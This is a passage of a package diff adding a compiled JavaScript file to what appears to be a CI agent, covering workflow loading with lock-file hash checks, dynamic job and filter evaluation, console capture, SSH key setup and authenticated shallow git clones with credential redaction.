@kici-dev/agent 0.6.1 → 0.8.0

package/dist/eval-runner.js

@@ -0,0 +1,1866 @@
+import { createRequire, register } from "node:module";
+import { normalizeLineEndings, sha256, toErrorMessage } from "@kici-dev/shared";
+import { buildKiciApi, buildNeedsContext, createFilterContext, setJobOutputsMap, setStepOutputsMap, setStepRefMap } from "@kici-dev/sdk/internal";
+import { AsyncLocalStorage } from "node:async_hooks";
+import { format } from "node:util";
+import path, { join } from "node:path";
+import fsPromises, { writeFile } from "node:fs/promises";
+import { pathToFileURL } from "node:url";
+import { COMPILE_SCHEMA_VERSION, COMPILE_SCHEMA_VERSION as COMPILE_SCHEMA_VERSION$1, collectSourceSymlinks, findKiciDir, hashKiciSourceTree, hashedSymlinkDriftNote } from "@kici-dev/core/kici-source-digest";
+import { isDynamicGroupRef, isDynamicJobFn, isParallelGroup, isStaticArray, isStaticObject } from "@kici-dev/sdk";
+import { $ } from "zx";
+import { LogStream, MAX_MATRIX_MATERIALIZATION, MatrixShapeError, applyIncludeExclude, expandMatrix, matrixCombinationCount, resolveWhenToRunOn } from "@kici-dev/engine";
+import { execFileSync } from "node:child_process";
+import { makeTempDir } from "@kici-dev/core/tmp";
+import { normalizeRunsOnToMatchers } from "@kici-dev/engine/labels/compile";
+var __defProp = Object.defineProperty;
+var __esmMin = (fn, res, err) => () => {
+	if (err) throw err[0];
+	try {
+		return fn && (res = fn(fn = 0)), res;
+	} catch (e) {
+		throw err = [e], e;
+	}
+};
+var __exportAll = (all, no_symbols) => {
+	let target = {};
+	for (var name in all) __defProp(target, name, {
+		get: all[name],
+		enumerable: true
+	});
+	if (!no_symbols) __defProp(target, Symbol.toStringTag, { value: "Module" });
+	return target;
+};
+//#endregion
+//#region src/execution/console-capture.ts
+/**
+* AsyncLocalStorage holding the active CaptureSink.
+*
+* When a sink is active, the patched console.* methods route formatted lines
+* to the sink. When no sink is active, the patched methods fall through to
+* the original console methods.
+*
+* Nested runCaptured() shadows the outer sink for the duration of the inner
+* scope; ALS restores the outer sink when the inner scope exits.
+*/
+const consoleCapture = new AsyncLocalStorage();
+const METHODS = [
+	"log",
+	"error",
+	"warn",
+	"info",
+	"debug"
+];
+const originals = {
+	log: console.log.bind(console),
+	error: console.error.bind(console),
+	warn: console.warn.bind(console),
+	info: console.info.bind(console),
+	debug: console.debug.bind(console)
+};
+let installed = false;
+/**
+* Install monkey-patches on console.log / error / warn / info / debug.
+*
+* Idempotent: subsequent calls are no-ops.
+*
+* Does NOT patch process.stdout.write or process.stderr.write. Winston's
+* Console transport writes through those streams directly, so patching them
+* at the agent level would leak agent-internal logger output into user step
+* streams whenever Winston fires on an async stack descended from a user
+* function. Winston bypasses console.*, so patching only console.* is
+* collision-free.
+*/
+function installConsoleCapture() {
+	if (installed) return;
+	installed = true;
+	for (const m of METHODS) console[m] = (...args) => {
+		const sink = consoleCapture.getStore();
+		if (!sink) {
+			originals[m](...args);
+			return;
+		}
+		const lines = format(...args).split("\n");
+		for (const line of lines) if (line) sink.addLine(line);
+	};
+}
+/**
+* Run `fn` with the given sink active. console.* calls inside `fn` and any
+* async descendants route to the sink until the returned promise resolves.
+*
+* If `installConsoleCapture()` has not been called, the sink is still tracked
+* in ALS but console.* calls are not intercepted.
+*/
+function runCaptured(sink, fn) {
+	return new Promise((resolve, reject) => {
+		consoleCapture.run(sink, () => {
+			try {
+				Promise.resolve(fn()).then(resolve, reject);
+			} catch (err) {
+				reject(err);
+			}
+		});
+	});
+}
+//#endregion
+//#region src/execution/generator-context.ts
+/**
+* Build the context handed to a `DynamicJobFn`.
+*
+* Optional members are spread conditionally rather than assigned `undefined`,
+* so an absent `needs` / repo pair leaves no key behind — a present-but-
+* undefined key reads as "declared" to a generator and serializes differently
+* between the two evaluations.
+*/
+function buildGeneratorContext(input) {
+	const { workflowName, event, env, repos, needs, $, log, kici } = input;
+	return {
+		$,
+		ctx: {
+			workflow: { name: workflowName },
+			event,
+			...needs && { needs }
+		},
+		log,
+		env,
+		kici,
+		...repos && {
+			sourceRepo: repos.sourceRepo,
+			workflowRepo: repos.workflowRepo
+		}
+	};
+}
+var init_generator_context = __esmMin((() => {}));
+//#endregion
+//#region src/execution/workflow-loader.ts
+/**
+* Workflow module loading: transforms `.ts` workflow files on import via the
+* `@kici-dev/core/ts-loader-hook` oxc-transform ESM loader hook. Customer
+* workflow code is imported
+* directly from the cloned / extracted source tree — no intermediate bundle,
+* no Rolldown step at runtime. `@kici-dev/sdk` and host-repo deps resolve via
+* Node's normal ESM lookup against `.kici/node_modules/`.
+*/
+var workflow_loader_exports = /* @__PURE__ */ __exportAll({
+	COMPILE_SCHEMA_VERSION: () => COMPILE_SCHEMA_VERSION$1,
+	ensureLoaderHookRegistered: () => ensureLoaderHookRegistered,
+	extractDynamicJobFn: () => extractDynamicJobFn,
+	extractSteps: () => extractSteps,
+	extractStepsFromDynamicJob: () => extractStepsFromDynamicJob,
+	extractWorkflow: () => extractWorkflow,
+	loadWorkflowSource: () => loadWorkflowSource,
+	resolveWorkflowSdkSetters: () => resolveWorkflowSdkSetters
+});
+/**
+* Resolve the `@kici-dev/sdk` instance the workflow module itself imports.
+*
+* The workflow's `.result` proxies read the module-global step-outputs map of
+* whichever SDK copy the workflow file resolves — which is generally a
+* different physical module than the agent's bundled SDK (the workflow is
+* imported from the cloned source tree and resolves its deps against that
+* tree's `node_modules`). Resolving via `createRequire(workflowFilePath)` walks
+* `node_modules` from the workflow file exactly the way the workflow's own
+* `import '@kici-dev/sdk'` does — including any hoisted copy — so the returned
+* setters mutate the SAME module-global map object the proxies read. Node caches
+* ESM modules by resolved URL, so importing that path yields the workflow's live
+* singleton, not a fresh copy.
+*
+* Both specifiers resolve to the same module-global maps — `internal.ts` and the
+* root barrel re-export the same `outputs.js` bindings — so the fallback below
+* changes which entry is imported, never which singleton is mutated.
+*
+* Falls back to the agent's bundled setters when neither resolves (mirrors
+* `resolveSdkSetters` in the compiler's test runner).
+*/
+async function resolveWorkflowSdkSetters(workflowFilePath) {
+	const req = createRequire(workflowFilePath);
+	for (const specifier of ["@kici-dev/sdk/internal", "@kici-dev/sdk"]) try {
+		const sdkEntry = req.resolve(specifier);
+		const sdk = await import(pathToFileURL(sdkEntry).href);
+		if (typeof sdk.setStepOutputsMap === "function" && typeof sdk.setStepRefMap === "function" && typeof sdk.setJobOutputsMap === "function") return {
+			setStepOutputsMap: sdk.setStepOutputsMap,
+			setStepRefMap: sdk.setStepRefMap,
+			setJobOutputsMap: sdk.setJobOutputsMap
+		};
+	} catch {}
+	return {
+		setStepOutputsMap,
+		setStepRefMap,
+		setJobOutputsMap
+	};
+}
+function ensureLoaderHookRegistered() {
+	if (hookRegistered) return;
+	const hookPath = process.env.KICI_TS_LOADER_HOOK_PATH;
+	if (hookPath) register(pathToFileURL(hookPath).href, import.meta.url);
+	else register("@kici-dev/core/ts-loader-hook", import.meta.url);
+	hookRegistered = true;
+}
+/**
+* Compute content hash for a workflow (same formula as `@kici-dev/compiler`
+* lockfile/hasher.ts). Used to verify the loaded source matches the lock
+* file's contentHash when `expectedContentHash` is provided.
+*
+* Line endings in `rawSource` (and inside `assetDigest`) are normalized to LF
+* before hashing. This matches the compiler-side normalization in
+* `@kici-dev/compiler` `lockfile/hasher.ts` so Windows agents — where Git's
+* `core.autocrlf=true` system default checks out text files with CRLF — agree
+* with lockfiles compiled on Linux (LF).
+*/
+function computeContentHash(rawSource, assetDigest) {
+	let input = `${COMPILE_SCHEMA_VERSION}:${normalizeLineEndings(rawSource)}`;
+	if (assetDigest !== void 0 && assetDigest.length > 0) input += `\0${normalizeLineEndings(assetDigest)}`;
+	return sha256(input);
+}
+/**
+* The compile schema version the lock file records for `sourceFile`, or null
+* when the tree carries no readable lock (a `file://` in-place run, a workflow
+* outside the `.kici/` convention, a hand-built fixture).
+*
+* The source tarball carries `.kici/kici.lock.json` — the digest excludes it,
+* but `source-packer.ts` packs it — so the agent can read the producing
+* compiler's schema version from the tree it already has, with no wire field
+* to plumb and no protocol change.
+*
+* A malformed or unreadable lock returns null rather than throwing: this is a
+* diagnostic gate in front of the real hash check, so it must never convert a
+* bad lock into a worse error than the hash comparison already gives.
+*/
+async function readLockCompileSchemaVersion(kiciDir, sourceFile) {
+	let parsed;
+	try {
+		parsed = JSON.parse(await fsPromises.readFile(path.join(kiciDir, "kici.lock.json"), "utf-8"));
+	} catch {
+		return null;
+	}
+	const workflows = parsed?.workflows;
+	if (!Array.isArray(workflows)) return null;
+	const normalize = (p) => p.replaceAll("\\", "/").replace(/^\.\//, "");
+	const target = normalize(sourceFile);
+	const versionOf = (w) => {
+		const v = w?.compileSchemaVersion;
+		return typeof v === "number" && Number.isFinite(v) && v > 0 ? v : null;
+	};
+	for (const w of workflows) {
+		const file = w?.source?.file;
+		if (typeof file === "string" && normalize(file) === target) return versionOf(w);
+	}
+	for (const w of workflows) {
+		const v = versionOf(w);
+		if (v !== null) return v;
+	}
+	return null;
+}
+async function buildAssetDigestFromResolvedPaths(workDir, resolvedPaths) {
+	const parts = [];
+	for (const rel of resolvedPaths) {
+		const abs = path.join(workDir, rel);
+		try {
+			const content = await fsPromises.readFile(abs, "utf-8");
+			parts.push(`${rel}\n${content}`);
+		} catch {
+			parts.push(`${rel}\n`);
+		}
+	}
+	return parts.join("");
+}
+/**
+* Load a workflow module by dynamic-importing its source file.
+*
+* Registers the oxc-transform loader hook (idempotent), then dynamic-imports
+* the `.ts` file. Transitive imports resolve against the workspace's
+* `node_modules/` the same way any `tsx`-style runner would — so host-repo
+* helpers and `@kici-dev/sdk` Just Work.
+*
+* When `expectedContentHash` is provided, verifies the extracted `.kici/` tree
+* matches the hash in the lock file. It re-hashes the whole tree, not the entry
+* file alone, so an edit to an imported helper is caught — that was the gap
+* that let a warm cache restore a stale tarball and run the OLD helper green.
+* Drift produces a descriptive error that surfaces the baked agent SDK
+* fingerprint (useful when debugging "is the agent running a stale build?").
+*/
+async function loadWorkflowSource(workDir, sourceFile, expectedContentHash, resolvedHashFiles) {
+	ensureLoaderHookRegistered();
+	const filePath = path.join(workDir, sourceFile);
+	if (expectedContentHash) {
+		const kiciDir = findKiciDir(filePath);
+		if (kiciDir) {
+			const lockVersion = await readLockCompileSchemaVersion(kiciDir, sourceFile);
+			if (lockVersion !== null && lockVersion !== COMPILE_SCHEMA_VERSION) throw new Error(`kici.lock.json was compiled by an incompatible @kici-dev/compiler: the lock declares compile schema ${lockVersion}, this agent implements ${COMPILE_SCHEMA_VERSION}. The schema version is mixed into every contentHash, so recompiling cannot reconcile them. Align the versions: upgrade the agent to one implementing schema ${lockVersion}, or pin @kici-dev/compiler to a release implementing schema ${COMPILE_SCHEMA_VERSION} and recompile (agent baked @kici-dev/sdk@${AGENT_SDK_VERSION} bundleHash=${AGENT_SDK_BUNDLE_HASH}).`);
+		}
+		const rawSource = (kiciDir ? await hashKiciSourceTree(kiciDir) : "") || await fsPromises.readFile(filePath, "utf-8");
+		let assetDigest;
+		if (resolvedHashFiles?.length) assetDigest = await buildAssetDigestFromResolvedPaths(workDir, resolvedHashFiles);
+		const actualHash = computeContentHash(rawSource, assetDigest);
+		if (actualHash !== expectedContentHash) {
+			const symlinkNote = kiciDir ? hashedSymlinkDriftNote(await collectSourceSymlinks(kiciDir)) : "";
+			throw new Error(`Lock file is out of date: workflow source changed without regenerating kici.lock.json (expected contentHash ${expectedContentHash}, got ${actualHash}, agent baked @kici-dev/sdk@${AGENT_SDK_VERSION} bundleHash=${AGENT_SDK_BUNDLE_HASH}). Run 'kici compile' and commit the updated lock file.${symlinkNote}`);
+		}
+	}
+	return {
+		module: await import(pathToFileURL(filePath).href + `?t=${Date.now()}`),
+		sdkSetters: await resolveWorkflowSdkSetters(filePath)
+	};
+}
+/**
+* Type guard for Workflow shape (discriminant: `_tag === 'Workflow'`).
+*/
+function isWorkflow(value) {
+	return typeof value === "object" && value !== null && "_tag" in value && value._tag === "Workflow";
+}
+/**
+* Extract a workflow by name from a module's exports.
+*
+* Searches:
+* 1. Default export (single Workflow or array of Workflows)
+* 2. Named exports
+*/
+function extractWorkflow(module, workflowName) {
+	if (module.default) {
+		const defaultExport = module.default;
+		if (isWorkflow(defaultExport) && defaultExport.name === workflowName) return defaultExport;
+		if (Array.isArray(defaultExport)) {
+			const found = defaultExport.find((item) => isWorkflow(item) && item.name === workflowName);
+			if (found) return found;
+		}
+	}
+	for (const [, value] of Object.entries(module)) if (isWorkflow(value) && value.name === workflowName) return value;
+	throw new Error(`Workflow '${workflowName}' not found in module exports`);
+}
+/**
+* Extract a dynamic job function from a workflow by index.
+*/
+function extractDynamicJobFn(workflow, index) {
+	if (index < 0 || index >= workflow.jobs.length) throw new Error(`Job index ${index} out of bounds (workflow '${workflow.name}' has ${workflow.jobs.length} jobs)`);
+	const item = workflow.jobs[index];
+	if (!isDynamicJobFn(item)) throw new Error(`Job at index ${index} in workflow '${workflow.name}' is not a dynamic job fn`);
+	return item;
+}
+/**
+* Extract steps from a static job within a workflow.
+*/
+function extractSteps(workflow, jobName) {
+	for (const item of workflow.jobs) if (!isDynamicJobFn(item) && item.name === jobName) return item.steps;
+	throw new Error(`Static job '${jobName}' not found in workflow '${workflow.name}'`);
+}
+/**
+* Extract steps from a job generated by a DynamicJobFn.
+*
+* Re-evaluates the DynamicJobFn to get the generated Job[] array, then finds
+* the job by name and returns its steps. This is necessary because
+* DynamicJobFn-generated jobs' step functions are closures that can only be
+* obtained by calling the DynamicJobFn again.
+*
+* The function must be deterministic: given the same event context, it should
+* return the same jobs with the same step functions. When `expectedJobNames`
+* is provided, the re-evaluated output is compared against the original eval.
+* A sibling mismatch logs a warning; a missing target job throws a clear
+* determinism error.
+*/
+async function extractStepsFromDynamicJob(workflow, dynamicIndex, jobName, event, env, apiTransport, expectedJobNames, upstreamSnapshot, declaredNeeds, repos) {
+	const dynamicFn = extractDynamicJobFn(workflow, dynamicIndex);
+	const { $ } = await import("zx");
+	const { createLogger } = await import("@kici-dev/shared");
+	const { buildKiciApi, buildNeedsContext } = await import("@kici-dev/sdk");
+	const log = createLogger({ prefix: `dynamic-job-fn:${workflow.name}` });
+	const kici = buildKiciApi(apiTransport ?? (() => Promise.reject(/* @__PURE__ */ new Error("Agent API not available during re-evaluation"))));
+	const needs = upstreamSnapshot ? buildNeedsContext(upstreamSnapshot, declaredNeeds ?? []) : void 0;
+	const generatedJobs = await dynamicFn(buildGeneratorContext({
+		workflowName: workflow.name,
+		event,
+		env,
+		...repos && { repos },
+		...needs && { needs },
+		$,
+		log,
+		kici
+	}));
+	const actualNames = generatedJobs.map((j) => j.name);
+	let droppedJobs = [];
+	if (expectedJobNames) {
+		const expectedSet = new Set(expectedJobNames);
+		const actualSet = new Set(actualNames);
+		const missing = expectedJobNames.filter((n) => !actualSet.has(n));
+		const extra = actualNames.filter((n) => !expectedSet.has(n));
+		droppedJobs = missing.filter((n) => n !== jobName);
+		if (missing.length > 0 || extra.length > 0) {
+			const detail = (missing.length > 0 ? `missing: [${missing.join(", ")}]` : "") + (missing.length > 0 && extra.length > 0 ? "; " : "") + (extra.length > 0 ? `unexpected: [${extra.join(", ")}]` : "");
+			if (missing.includes(jobName)) throw new Error(`DynamicJobFn non-deterministic re-evaluation: job '${jobName}' no longer exists (workflow '${workflow.name}', index ${dynamicIndex}). Original eval produced: [${expectedJobNames.join(", ")}], re-eval produced: [${actualNames.join(", ")}]. DynamicJobFn must return the same jobs given the same event context. See docs/architecture/dynamic-jobs.md for guidance.`);
+			log.warn(`DynamicJobFn non-deterministic re-evaluation detected (workflow '${workflow.name}', index ${dynamicIndex}): ${detail}. Target job '${jobName}' still exists — proceeding. DynamicJobFn should return the same jobs given the same event context.`);
+		}
+	}
+	for (const genJob of generatedJobs) if (genJob.name === jobName) return {
+		steps: genJob.steps,
+		droppedJobs
+	};
+	throw new Error(`Generated job '${jobName}' not found in DynamicJobFn output (workflow '${workflow.name}', index ${dynamicIndex}). Available: ${actualNames.join(", ")}`);
+}
+var AGENT_SDK_VERSION, AGENT_SDK_BUNDLE_HASH, hookRegistered;
+var init_workflow_loader = __esmMin((() => {
+	init_generator_context();
+	AGENT_SDK_VERSION = "0.8.0";
+	AGENT_SDK_BUNDLE_HASH = "065963c7765dc8d87e04d45f57d7e15be1613da705e4ff3ec3742fd1408b7bf5";
+	hookRegistered = false;
+}));
+//#endregion
+//#region src/execution/timeout-util.ts
+init_workflow_loader();
+/**
+* Shared timeout utility for wrapping async operations with a deadline.
+*
+* Used by init-runner (dynamic field evaluation) and dynamic job function evaluation.
+*/
+/**
+* Execute a function with a timeout using Promise.race.
+* Throws if the function does not resolve within the given timeout.
+*/
+async function withTimeout(fn, timeoutMs, label) {
+	const ac = new AbortController();
+	const timer = setTimeout(() => ac.abort(), timeoutMs);
+	try {
+		return await Promise.race([Promise.resolve(fn()), new Promise((_, reject) => {
+			ac.signal.addEventListener("abort", () => reject(/* @__PURE__ */ new Error(`Timeout after ${timeoutMs}ms evaluating ${label}`)));
+		})]);
+	} finally {
+		clearTimeout(timer);
+	}
+}
+//#endregion
+//#region src/execution/init-runner.ts
+/**
+* Run a workflow's `filter` and report whether the workflow applies.
+*
+* Shared by both agent-side evaluation sites for a same-repo workflow: the init
+* job that gates each static job's dispatch, and the dynamic-eval job that gates
+* whether a generator runs at all. Both must reach the same verdict from the same
+* inputs, so neither builds the context itself.
+*
+* The context is built through `createFilterContext` rather than as an object
+* literal: the factory installs `changedFiles` as a throwing getter, so a filter
+* that reads the diff on an event that has none fails loudly instead of seeing an
+* empty list. A `false` verdict dispatches none of the workflow's own jobs, so a
+* silently-empty diff would suppress it on a mistake. On this same-repo path the
+* verdict is at least recoverable — the run row exists, carrying the `__init__*`
+* jobs, and this evaluation's own step log records the verdict; it is the
+* organization-wide path, which runs elsewhere, that leaves nothing behind.
+*
+* A throwing filter propagates: the evaluating job fails, which surfaces as a
+* failed run. "Could not decide" is never treated as "do not run" — that would
+* be a false green, the same reasoning `buildJobRuleCompletion` applies to a rule
+* whose `check()` threw.
+*/
+async function evaluateWorkflowFilter(workflow, event, input, timeoutMs) {
+	if (typeof workflow.filter !== "function") throw new Error(`Workflow '${workflow.name}' is recorded as declaring a filter, but its module exports none — the lock file is out of date. Run 'kici compile' and commit the result.`);
+	if (!input) throw new Error(`Workflow '${workflow.name}' declares a filter but the evaluating job supplied no filter context (source tree / changed files) to evaluate it against.`);
+	const filterFn = workflow.filter;
+	const ctx = createFilterContext({
+		sourceRepo: input.sourceRepo,
+		workflowRepo: input.workflowRepo,
+		event,
+		changedFiles: input.changedFiles,
+		changedFilesStatus: input.changedFilesStatus,
+		...input.env && { env: input.env },
+		...input.$ && { $: input.$ }
+	});
+	const verdict = await withTimeout(() => filterFn(ctx), timeoutMs, `filter for workflow '${workflow.name}'`);
+	return Boolean(verdict);
+}
+/**
+* Find a static job by name in a workflow's jobs array.
+* Skips dynamic job functions (factories).
+*/
+function findJobByName(workflow, jobName) {
+	for (const item of workflow.jobs) if (!isDynamicJobFn(item) && item.name === jobName) return item;
+	throw new Error(`Job '${jobName}' not found in workflow '${workflow.name}'`);
+}
+/**
+* Evaluate dynamic fields (context, env, concurrencyGroup) on a job.
+*
+* Only fields with their corresponding flag set to true AND whose property
+* on the job is a function will be evaluated. All evaluations happen in a
+* single call per.
+*
+* -: If a dynamic function throws, the error propagates (job fails).
+* -: If a dynamic function returns undefined/null, the field is left undefined.
+* -: Each dynamic function call is wrapped in a timeout (default 60s).
+*
+* A workflow-level `filter` is evaluated FIRST when `flags.hasFilter` is set. A
+* `false` verdict returns immediately: no job of that workflow will be
+* dispatched, so evaluating this one's dynamic fields would run customer code
+* whose result nothing can consume.
+*
+* @param workflow - The extracted Workflow object
+* @param jobName - Name of the job whose dynamic fields to evaluate
+* @param event - Normalized event envelope — same shape every dynamic-function call site receives.
+* @param flags - Which fields are dynamic and need evaluation
+* @param timeoutMs - Timeout per dynamic function call (default 60_000ms)
+* @param filterInput - Source tree + diff the workflow's `filter` reads. Required when `flags.hasFilter`.
+*/
+async function evaluateDynamicFields(workflow, jobName, event, flags, timeoutMs = 6e4, filterInput) {
+	const result = {};
+	if (flags.hasFilter) {
+		result.filterPassed = await evaluateWorkflowFilter(workflow, event, filterInput, timeoutMs);
+		if (!result.filterPassed) return result;
+	}
+	const job = findJobByName(workflow, jobName);
+	if (flags.dynamicMatrix && typeof job.matrix === "function") {
+		const matrixContext = {
+			$: (await import("zx")).$,
+			ctx: {
+				workflow: { name: workflow.name },
+				job: {
+					name: jobName,
+					runsOn: job.runsOn
+				}
+			},
+			log: {
+				info: () => {},
+				warn: () => {},
+				error: () => {},
+				debug: () => {}
+			},
+			env: { ...process.env }
+		};
+		const resolved = await withTimeout(() => job.matrix(matrixContext), timeoutMs, `dynamicMatrix for job '${jobName}'`);
+		let combos;
+		try {
+			const rawCount = matrixCombinationCount(resolved);
+			if (rawCount > MAX_MATRIX_MATERIALIZATION) throw new MatrixShapeError(`matrix is too large to expand: ${rawCount} raw combinations (max ${MAX_MATRIX_MATERIALIZATION})`);
+			combos = expandMatrix(resolved);
+		} catch (err) {
+			if (err instanceof MatrixShapeError) throw new MatrixShapeError(`dynamicMatrix for job '${jobName}': ${err.message}`);
+			throw err;
+		}
+		if (job.include || job.exclude) combos = applyIncludeExclude(combos, job.include, job.exclude);
+		result.matrixValues = combos;
+	}
+	if (flags.dynamicContext) {
+		const envRefs = job.contexts ?? (job.context !== void 0 ? [job.context] : void 0);
+		if (envRefs && envRefs.length > 0) {
+			const names = [];
+			for (const ref of envRefs) if (typeof ref === "function") {
+				const value = await withTimeout(() => ref(event), timeoutMs, `dynamicContext for job '${jobName}'`);
+				if (value !== void 0 && value !== null) names.push(value);
+			} else if (typeof ref === "string") names.push(ref);
+			if (names.length > 0) result.contextNames = names;
+		}
+	}
+	if (flags.dynamicEnv && typeof job.env === "function") {
+		const value = await withTimeout(() => job.env(event), timeoutMs, `dynamicEnv for job '${jobName}'`);
+		if (value !== void 0 && value !== null) result.env = value;
+	}
+	if (flags.dynamicConcurrencyGroup && typeof job.concurrencyGroup === "function") {
+		const value = await withTimeout(() => job.concurrencyGroup(event), timeoutMs, `dynamicConcurrencyGroup for job '${jobName}'`);
+		if (value !== void 0 && value !== null) result.concurrencyGroup = value;
+	}
+	return result;
+}
+//#endregion
+//#region src/checkout/ssh-auth.ts
+/**
+* Materialize an SSH private key (and optional pinned known_hosts) into a
+* tempdir and build the `GIT_SSH_COMMAND` that `git clone` needs.
+*
+* Permissions:
+*   - private key mode 0o600 (required by OpenSSH — refuses to use world-
+*     readable keys).
+*   - known_hosts mode 0o600.
+*   - tempdir mode 0o700.
+*
+* SSH flags composed:
+*   - `-i <keyfile>` — identity file.
+*   - `-o IdentitiesOnly=yes` — don't try other keys from ssh-agent / ~/.ssh.
+*   - `-o BatchMode=yes` — never prompt for passwords / passphrases.
+*   - host-key checking flags based on `hostKeyPolicy`.
+*/
+async function setupSshAuth(opts) {
+	if (opts.hostKeyPolicy === "pinned" && !opts.knownHosts) throw new Error("pinned hostKeyPolicy requires knownHosts content");
+	const { path: tempDir, cleanup } = await makeTempDir("ssh");
+	const keyPath = join(tempDir, "id");
+	const pem = opts.privateKey.endsWith("\n") ? opts.privateKey : `${opts.privateKey}\n`;
+	await writeFile(keyPath, pem, { mode: 384 });
+	const knownHostsPath = join(tempDir, "known_hosts");
+	const knownHostsBody = opts.hostKeyPolicy === "pinned" ? opts.knownHosts : "";
+	await writeFile(knownHostsPath, knownHostsBody, { mode: 384 });
+	const parts = [
+		"ssh",
+		"-i",
+		escapeShellArg(keyPath),
+		"-o",
+		"IdentitiesOnly=yes",
+		"-o",
+		"BatchMode=yes",
+		"-o",
+		`UserKnownHostsFile=${escapeShellArg(knownHostsPath)}`
+	];
+	if (opts.hostKeyPolicy === "pinned") parts.push("-o", "StrictHostKeyChecking=yes");
+	else parts.push("-o", "StrictHostKeyChecking=accept-new");
+	return {
+		gitSshCommand: parts.join(" "),
+		tempDir,
+		cleanup
+	};
+}
+/**
+* Quote a path for inclusion in `GIT_SSH_COMMAND`. We use single-quote
+* wrapping so backslashes and spaces survive git's shell-parse of the
+* command value.
+*/
+function escapeShellArg(value) {
+	return `'${value.replace(/'/g, "'\\''")}'`;
+}
+//#endregion
+//#region src/checkout/git-clone.ts
+/**
+* Point a clone at the agent's credential helper.
+*
+* Only the helper PATH is written — never a secret — which is what makes it
+* safe to persist in `.git/config`. `useHttpPath` makes git include
+* `path=owner/repo.git` in every credential query, without which the helper
+* could not tell one repository from another and a write grant could not be
+* confined to its own repo.
+*/
+function configureCredentialHelper(workDir, helperPath) {
+	execFileSync("git", [
+		"-C",
+		workDir,
+		"config",
+		"credential.helper",
+		helperPath
+	], {
+		stdio: "pipe",
+		timeout: 1e4
+	});
+	execFileSync("git", [
+		"-C",
+		workDir,
+		"config",
+		"credential.useHttpPath",
+		"true"
+	], {
+		stdio: "pipe",
+		timeout: 1e4
+	});
+}
+/**
+* Strip auth credentials from git error messages to prevent token leakage.
+* Node's execFileSync includes the full command line (including -c http.extraHeader
+* and GIT_SSH_COMMAND flags) in error messages, which would expose Base64-encoded
+* tokens or the absolute path of a temporary SSH key file in logs.
+*/
+function sanitizeGitError(error) {
+	if (!(error instanceof Error)) return new Error(String(error));
+	const sanitized = new Error(redactSensitive(error.message));
+	sanitized.stack = error.stack ? redactSensitive(error.stack) : void 0;
+	return sanitized;
+}
+function redactSensitive(input) {
+	return input.replace(/http\.extraHeader=Authorization: Basic \S+/g, "http.extraHeader=Authorization: Basic [REDACTED]").replace(/'[^']*kici-ssh-[^']*'/g, "'[REDACTED_SSH_PATH]'").replace(/\S*kici-ssh-\S+/g, "[REDACTED_SSH_PATH]");
+}
+/**
+* Shallow-clone a git repository at a specific ref with optional token auth.
+*
+* Token authentication uses git's `-c http.extraHeader` mechanism which keeps
+* the token out of the clone URL (not visible in `git remote -v` or logs).
+*
+* After clone, verifies that HEAD matches the expected SHA to prevent
+* wrong-ref execution.
+*
+* @throws Error if clone fails or SHA does not match
+*/
+async function gitClone(options) {
+	const { repoUrl, ref, sha, workDir, token, gitAuth, depth = 1, credentialHelperPath, sshCleanupRegistry } = options;
+	const auth = gitAuth ? gitAuth : token ? {
+		kind: "basic",
+		user: "x-access-token",
+		secret: token
+	} : void 0;
+	const args = [];
+	const envEntries = {};
+	let needsCustomEnv = false;
+	let safeDirCleanup;
+	if (repoUrl.startsWith("file://")) {
+		const { writeFile } = await import("node:fs/promises");
+		const path = await import("node:path");
+		const { makeTempDir } = await import("@kici-dev/core/tmp");
+		const { path: dir, cleanup } = await makeTempDir("gitcfg");
+		const cfgPath = path.join(dir, "config");
+		await writeFile(cfgPath, "[safe]\n	directory = *\n", { mode: 384 });
+		envEntries.GIT_CONFIG_GLOBAL = cfgPath;
+		needsCustomEnv = true;
+		safeDirCleanup = async () => {
+			await cleanup().catch(() => {});
+		};
+	}
+	let sshSetup;
+	try {
+		if (auth?.kind === "basic") {
+			const user = auth.user ?? "x-access-token";
+			const basic = Buffer.from(`${user}:${auth.secret}`).toString("base64");
+			args.push("-c", `http.extraHeader=Authorization: Basic ${basic}`);
+		} else if (auth?.kind === "ssh") {
+			sshSetup = await setupSshAuth({
+				privateKey: auth.secret,
+				hostKeyPolicy: auth.sshHostKeyPolicy,
+				knownHosts: auth.sshKnownHostsPem
+			});
+			envEntries.GIT_SSH_COMMAND = sshSetup.gitSshCommand;
+			needsCustomEnv = true;
+		}
+		const env = needsCustomEnv ? {
+			...process.env,
+			...envEntries
+		} : void 0;
+		if (ref) args.push("clone", "--depth", String(depth), "--branch", ref, repoUrl, workDir);
+		else args.push("clone", "--depth", String(depth), repoUrl, workDir);
+		const { execFileSync } = await import("node:child_process");
+		try {
+			execFileSync("git", args, {
+				stdio: "pipe",
+				timeout: 12e4,
+				...env && { env }
+			});
+		} catch (err) {
+			throw sanitizeGitError(err);
+		}
+		if (credentialHelperPath) configureCredentialHelper(workDir, credentialHelperPath);
+		if (!sha || sha === "HEAD") return;
+		const envOpts = env ? { env } : {};
+		if (!execFileSync("git", [
+			"-C",
+			workDir,
+			"rev-parse",
+			"HEAD"
+		], {
+			encoding: "utf-8",
+			timeout: 1e4,
+			...envOpts
+		}).trim().startsWith(sha)) {
+			const fetchArgs = [];
+			if (auth?.kind === "basic") {
+				const user = auth.user ?? "x-access-token";
+				const basic = Buffer.from(`${user}:${auth.secret}`).toString("base64");
+				fetchArgs.push("-c", `http.extraHeader=Authorization: Basic ${basic}`);
+			}
+			fetchArgs.push("fetch", "--depth", "50", "origin", sha);
+			try {
+				execFileSync("git", [
+					"-C",
+					workDir,
+					...fetchArgs
+				], {
+					stdio: "pipe",
+					timeout: 12e4,
+					...envOpts
+				});
+			} catch (err) {
+				throw sanitizeGitError(err);
+			}
+			execFileSync("git", [
+				"-C",
+				workDir,
+				"checkout",
+				sha
+			], {
+				stdio: "pipe",
+				timeout: 3e4,
+				...envOpts
+			});
+			const recheckedSha = execFileSync("git", [
+				"-C",
+				workDir,
+				"rev-parse",
+				"HEAD"
+			], {
+				encoding: "utf-8",
+				timeout: 1e4,
+				...envOpts
+			}).trim();
+			if (!recheckedSha.startsWith(sha)) throw new Error(`SHA mismatch: expected ${sha}, got ${recheckedSha}`);
+		}
+	} finally {
+		if (sshSetup) {
+			if (sshCleanupRegistry) {
+				const setup = sshSetup;
+				sshCleanupRegistry.defer(() => setup.cleanup().catch(() => {}));
+			} else await sshSetup.cleanup().catch(() => {});
+		}
+		if (safeDirCleanup) await safeDirCleanup();
+	}
+}
+//#endregion
+//#region src/checkout/changed-files.ts
+const EMPTY_TREE_SHA = "4b825dc642cb6eb9a060e54bf8d69288fbee4904";
